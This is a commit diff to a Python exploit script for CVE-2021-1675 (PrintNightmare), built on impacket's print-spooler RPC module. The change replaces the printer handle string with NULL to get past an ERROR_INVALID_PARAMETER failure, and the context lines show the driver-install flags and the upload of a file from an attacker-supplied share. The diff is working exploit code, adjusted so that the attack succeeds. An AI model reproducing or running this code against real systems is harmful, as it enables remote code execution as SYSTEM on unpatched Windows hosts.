fixed ERROR_INVALID_PARAMETER

Signed-off-by: cube0x0 <vidfelt@protonmail.com>

CVE-2021-1675.py

@@ -1,6 +1,7 @@
 #!/usr/bin/python3
 from impacket.dcerpc.v5 import rprn
 from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.dtypes import NULL
 import argparse
 import sys
 import time
@@ -45,7 +46,8 @@ def main(username, password, domain, lmhash, nthash, address, port, share):
 
 
     flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
-    handle = "\\\\{0}\x00".format(address)
+    #handle = "\\\\{0}\x00".format(address)
+    handle = NULL
     filename = share.split("\\")[-1]
 
     print("[*] Uploading {0}".format(share))